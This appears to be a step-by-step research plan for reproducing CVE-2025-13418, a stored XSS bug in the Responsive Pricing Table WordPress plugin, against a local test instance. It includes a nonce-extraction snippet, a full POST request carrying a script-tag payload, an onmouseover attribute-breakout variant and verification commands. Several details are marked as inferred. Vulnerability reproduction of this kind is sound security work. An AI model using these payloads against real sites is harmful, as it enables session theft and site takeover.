Research Plan: CVE-2025-13418 - Responsive Pricing Table Stored XSS

1. Vulnerability Summary

The Responsive Pricing Table plugin (up to 5.1.12) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize the plan_icons parameter when saving pricing table data and subsequently fails to escape this data when rendering the table on the frontend. This allows an authenticated user with Author-level permissions or higher to inject arbitrary JavaScript into a pricing table, which then executes in the browser of any user (including administrators) viewing the table.

2. Attack Vector Analysis

• Endpoint: wp-admin/post.php (standard WordPress post save) or potentially a plugin-specific AJAX handler (e.g., wp_ajax_rpt_save_table).
• Vulnerable Parameter: plan_icons (likely part of a post meta array/field).
• Required Authentication: Author level or higher (users who can create/edit pricing tables).
• Preconditions: The plugin must be active, and the attacker must have permissions to edit or create "Pricing Table" custom post types (rpt_pricing_table).

3. Code Flow (Inferred)

1. Entry Point: An Author-level user submits a request to save or update a Pricing Table post.
2. Processing (Admin): The plugin catches the save action (likely via the save_post hook).
   • Vulnerable function (inferred): A function in inc/admin-post-type.php or inc/metaboxes.php reads the plan_icons array from $_POST.
   • Data Storage: The raw, unsanitized string/array is stored in the database using update_post_meta($post_id, '_rpt_plan_icons', $user_input).
3. Sink (Frontend): A user visits a page containing the [rtp_pricing_table id="..."] shortcode.
   • Vulnerable function (inferred): The shortcode handler in inc/frontend-display.php retrieves the meta: $icons = get_post_meta($id, '_rpt_plan_icons', true).
   • Rendering: The plugin iterates through the icons and echoes them directly: echo '<i class="' . $icon . '"></i>'; (or similar), without using esc_attr() or esc_html().

4. Nonce Acquisition Strategy

Since this vulnerability involves saving a post or metadata within the WordPress admin dashboard, a security nonce is required to prevent CSRF.

1. Identify Post Type: The pricing table post type is typically rpt_pricing_table.
2. Create/Edit Page: Navigate to the "Add New" pricing table page.
3. Extraction:
   • Navigate to: /wp-admin/post-new.php?post_type=rpt_pricing_table.
   • Use browser_eval to extract the _wpnonce from the form and the post_ID.

   // To get the standard WordPress post nonce
   const nonce = document.querySelector('#_wpnonce')?.value;
   const postId = document.querySelector('#post_ID')?.value;
   return { nonce, postId };
   

4. Plugin Specific Nonces: If the plugin uses a custom AJAX save, look for localized variables via:

   window.rpt_admin_vars?.nonce // (Example inferred name)
   

5. Exploitation Strategy

Step 1: Create the Malicious Post

The goal is to submit a POST request to wp-admin/post.php that includes the XSS payload in the plan_icons parameter.

HTTP Request:

• Method: POST
• URL: http://localhost:8080/wp-admin/post.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters (Inferred based on typical plugin structure):
  • action: editpost
  • post_ID: [POST_ID_FROM_STEP_4]
  • _wpnonce: [NONCE_FROM_STEP_4]
  • post_type: rpt_pricing_table
  • post_title: XSS Test Table
  • plan_icons[0]: "><script>alert(document.domain)</script>
  • plan_button_text[0]: Buy Now (Required field filler)
  • plan_title[0]: Basic Plan (Required field filler)

Step 2: Trigger the XSS

1. Publish the Pricing Table.
2. Create a new public post/page containing the shortcode for that table.
3. Navigate to that page using browser_navigate.

6. Test Data Setup

1. User: Create a user with the Author role.
2. Plugin Configuration: Ensure the "Responsive Pricing Table" plugin is installed and activated.
3. Target Content:
   • Create a draft pricing table to get a post_ID.
   • Create a public page with the content: [rpt_pricing_table id="[POST_ID]"].

7. Expected Results

• The plan_icons value will be saved to the wp_postmeta table without being stripped of <script> tags.
• When the frontend page is loaded, the HTML source will contain:
  <i class=""><script>alert(document.domain)</script>"></i>
• A browser alert box will appear, demonstrating JavaScript execution in the context of the site.

8. Verification Steps

After the exploit attempt, verify the storage via WP-CLI:

# Check if the payload is stored in the database
wp post meta list [POST_ID] --keys=_rpt_plan_icons

The output should show the raw <script> tag.

9. Alternative Approaches

• Attribute Breakout: If the payload is rendered inside a value or class attribute and partially escaped, try:
  plan_icons[0] = ' " onmouseover="alert(1) '
• REST API: Check if the plugin registers a REST route for saving table data which might have weaker permission checks or different nonce requirements.
  grep -r "register_rest_route" .
• AJAX Endpoint: If post.php is not the primary save method, check for wp_ajax_rpt_save handlers.
  grep -r "wp_ajax_rpt" .